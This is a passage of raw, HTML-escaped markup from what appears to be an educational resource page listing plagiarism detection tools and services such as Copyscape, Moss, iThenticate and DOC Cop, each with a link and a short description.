size="3"&gt;&lt;b&gt;Plagiarism Detection Tool : iScan&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.plagiarism.uk.com"&gt;http://www.plagiarism.uk.com&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;Plagiarism detection tool iScan makes checking for problem easy.&lt;br&gt;Scan your essay against Wikipedia, e-zines, article databases, Google books and other popular sources of plagiarism.&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;The Plagiarism Checker&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.dustball.com/cs/plagiarism.checker/"&gt;http://www.dustball.com/cs/plagiarism.checker/&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;This educational software was designed as a project for the University of Maryland at College Park Department of Education.&lt;br&gt;It looks like it is basically doing a Google search.&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;Plagiarism Detector&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.plagiarism-detector.com"&gt;http://www.plagiarism-detector.com&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;Plagiarism Detector - is a personal software tool to effectively discover, trace and in this way prevent unauthorized copy-pasting of any textual material taken from the world wide web.&lt;br&gt;It uses the Google database to send hundreds of requests per second to verify the text originality.&lt;br&gt;Free demo version is avaliable for download!&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;Copyscape&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.copyscape.com/"&gt;http://www.copyscape.com/&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;Defending your rights online, Copyscape is the leading provider of services that protect your content against online plagiarism and theft.&lt;br&gt;The free Copyscape service makes it easy to find copies of your content on the Web. Simply type in the address of your web page, and Copyscape does the rest.&lt;br&gt;Copyscape finds sites that have copied your content without permission, as well as those that have quoted you.&lt;br&gt;Copyscape Premium provides more powerful searching than the free service with no monthly limit. You may also search for copies of your offline content by copying and pasting the text.&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;Free online plagiarism detection tool&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.plagiarismdetect.com"&gt;http://www.plagiarismdetect.com&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;Free online plagiarism detection tool. Upload text file future. Live ajaxified search.&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;DOC Cop&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.doccop.com/"&gt;http://www.doccop.com/&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;DOC Cop is a plagiarism detection tool that creates reports displaying the correlation and matches between documents or a document and the web.&lt;br&gt;DOC Cop does not take ownership or copyright of your material. It does not retain your material beyond the time it takes to generate your report.&lt;br&gt;DOC Cop is lightning fast, capable of processing one million words or a thousand thousand-word documents within 20 minutes.&lt;br&gt;DOC Cop gathers the evidence, and provides the information required for you to judge whether or not plagiarism has occurred.&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;Free Plagiarism Detection Tool&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.englishessays.org.uk/free-plagiarism-scanner-scan.php"&gt;http://www.englishessays.org.uk/free-plagiarism-scanner-scan.php&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;Our free plagiarism scanner will scan your essays or other documents against online sources, as well as any text documents on your local computer or server. The plagiarised fragments will be outlined and highlighted by the scanning software so you can easily edit your work and make it plagiarism free! You will need to register to use the software.&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;My Drop Box&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.mydropbox.com"&gt;http://www.mydropbox.com&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;MyDropbox Suite integrates a renowned plagiarism prevention technology with a versatile digital learning environment that enables instructors to manage online assignments, organize electronic submissions and mark papers on the Web.&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;Plagiarism and Copyright: Videos and PowerPoints&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://plagiarismvideos.blogspot.com/"&gt;http://plagiarismvideos.blogspot.com/&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;The link above goes to one of the Shambles&amp;nbsp;&lt;b&gt;"Forest of Theme Blogs"&lt;/b&gt;&amp;nbsp;pages that provides videos and other multimedia resources to support the topic here.&lt;br&gt;If you would like to see all of the Theme Blogs then go to the full list at&lt;a href="../../../../blogforest" target="_blank"&gt;http://www.shambles.net/blogforest&lt;/a&gt;&amp;nbsp;or click where you see this button&amp;nbsp;&lt;a href="../../../../blogforest" target="_blank"&gt;&lt;img src="../../../../images/blogforestBUTTON.gif" alt="The Shambles Forest of Theme Blogs" width="80" height="15" border="0"&gt;&lt;/a&gt;&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;Article Checker&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.articlechecker.com"&gt;http://www.articlechecker.com&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;Article Checker is a new tool that searches Google, Yahoo and MSN for your content.&lt;br&gt;Or, you can use the shortcut of articlechecker.com/URL&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;Project Analyzer (for Visual Basic)&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.aivosto.com/project/project.html"&gt;http://www.aivosto.com/project/project.html&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;Program source code analyzer that finds duplicated code blocks. Can be used to detect plagiarism in software written in Visual Basic, VB.NET and VBA.&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;CodeMatch (for computer software)&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.ZeidmanConsulting.com/CodeSuite.htm"&gt;http://www.ZeidmanConsulting.com/CodeSuite.htm&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;CodeMatch (for computer software)&lt;br&gt;CodeMatch has become the standard tool in software copyright cases.&lt;br&gt;It compares thousands of source code files in multiple directories and subdirectories to determine which files are the most highly correlated. This can be used to significantly speed up the work of finding source code plagiarism, because it can direct the examiner to look closely at a small amount of code in a handful of files rather than thousands of combinations.&lt;br&gt;CodeMatch is also useful for finding open source code within proprietary code, determining common authorship of two different programs, and discovering common, standard algorithms within different programs.&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;EssayFraud&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.essayfraud.org/"&gt;http://www.essayfraud.org/&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;EssayFraud.org is a watchdog organization that investigates hypocrisy involving plagiarism in academia. We also dissuade plagiarism by enabling consumers and freelance writers to publish complaints about term paper mills.&lt;br&gt;List of Fraudulent Companies that Consumers should Avoid&lt;br&gt;350 Scam Sites - Warning Signs - Complaint Forum - Plagiarism - Verification Criterion&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;Numly&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://numly.com/numly/default.asp"&gt;http://numly.com/numly/default.asp&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;Numly assigns Numly Numbers (Electronic Serial Numbers / ESNs) for all things digital.&lt;br&gt;These unique identifiers provide digital rights management capabilities as well as third-party, non-repudiation measures for proof of copyright via real-time verifications.&lt;br&gt;Numly Numbers are simple to generate and act as an electronic timestamp. They also allow you to track who is viewing your content and when it is accessed, monitor ratings, and can be used as permalinks!&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;Issues Raised by the Use of Turnitin&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://cyberdash.com/plagiarism-detection-software-issues-gvsu"&gt;http://cyberdash.com/plagiarism-detection-software-issues-gvsu&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;Issues Raised by Use of Turnitin Plagiarism Detection Software&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;Moss : A System for Detecting Software Plagiarism&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.cs.berkeley.edu/~aiken/moss.html"&gt;http://www.cs.berkeley.edu/~aiken/moss.html&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;Moss : A System for Detecting Software Plagiarism&lt;br&gt;To date, the main application of Moss has been in detecting plagiarism in programming classes. Since its development in 1994, Moss has been very effective in this role. The algorithm behind moss is a significant improvement over other cheating detection algorithms (at least, over those known to us).&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;Pl@giarism : a plagiarism detection tool&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.plagiarism.tk/"&gt;http://www.plagiarism.tk/&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;Pl@giarism : a plagiarism detection tool&lt;br&gt;At the Law Faculty of the University of Maastricht we used this plagiarism detection tool for screening student-documents on the same subject. Success is guaranteed. First because the students knowing that we used this tool became careful in copying each others work. And secondly because the program detects even the smallest form of plagiarism (such as the most common paraphrases of some lines out off a textbook all students used). The program makes a table where documents are sorted on their resemblance percentage (figure 1) and by clicking in the table the clicked document-pair will be shown in two RTF-boxes with the matches colored in blue (figure 2).&lt;br&gt;The Plagiarism detection program is available for downloading .. free.&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;Plagiarism Checker&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.plagiarismchecker.com/"&gt;http://www.plagiarismchecker.com/&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;Plagiarism Checker&lt;br&gt;Check for Plagiarism On the Web for Free&lt;br&gt;Plagiarism Checker can help you find out whether a student's paper has been copied from the Internet.&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;iThenticate&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.ithenticate.com/static/home.html"&gt;http://www.ithenticate.com/static/home.html&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;iThenticate is a system that combats the piracy of intellectual property and ensures the originality of written work for publishers, news agencies, corporations, law firms, and non-profit entities.&lt;br&gt;Unlike some other plagiarism detection systems, iThenticate requires no installation or maintenance of additional software. Because iThenticate is completely web-based, compatibility between different computers and operating systems is never a problem.&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;Firefox (Web browser) : Plagiarism Plugin&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.1hs.org/blog/?p=23"&gt;http://www.1hs.org/blog/?p=23&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;Firefox (Web browser) : Plagiarism Plugin&lt;/font&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="right"&gt;&lt;a href="#addalink"&gt;&lt;img alt="Down arrow" border="0" height="12" hspace="5" src="http://docs.google.com/images/nav/tridn.gif" width="12"&gt;&lt;/a&gt;&lt;a href="#topofpage"&gt;&lt;img alt="Up arrow" border="0" height="12" src="http://docs.google.com/images/nav/triup.gif" width="12"&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;img align="left" alt="grey line" height="3" src="http://docs.google.com/images/nav/1gypxl.gif" width="530"&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td align="left"&gt;&lt;font face="Arial,Helvetica" size="3"&gt;&lt;b&gt;Google as a Plagiarism Tool&lt;/b&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;&lt;a href="http://www.google.com"&gt;http://www.google.com&lt;/a&gt;&amp;nbsp;&lt;/font&gt;&lt;font size="3"&gt;&lt;br&gt;&lt;/font&gt;&lt;font face="Arial,Helvetica" size="2"&gt;Google as a Plagiarism Tool ... sometimes just copying and pasting some text from a students work into Google (or other search engine) and doing a 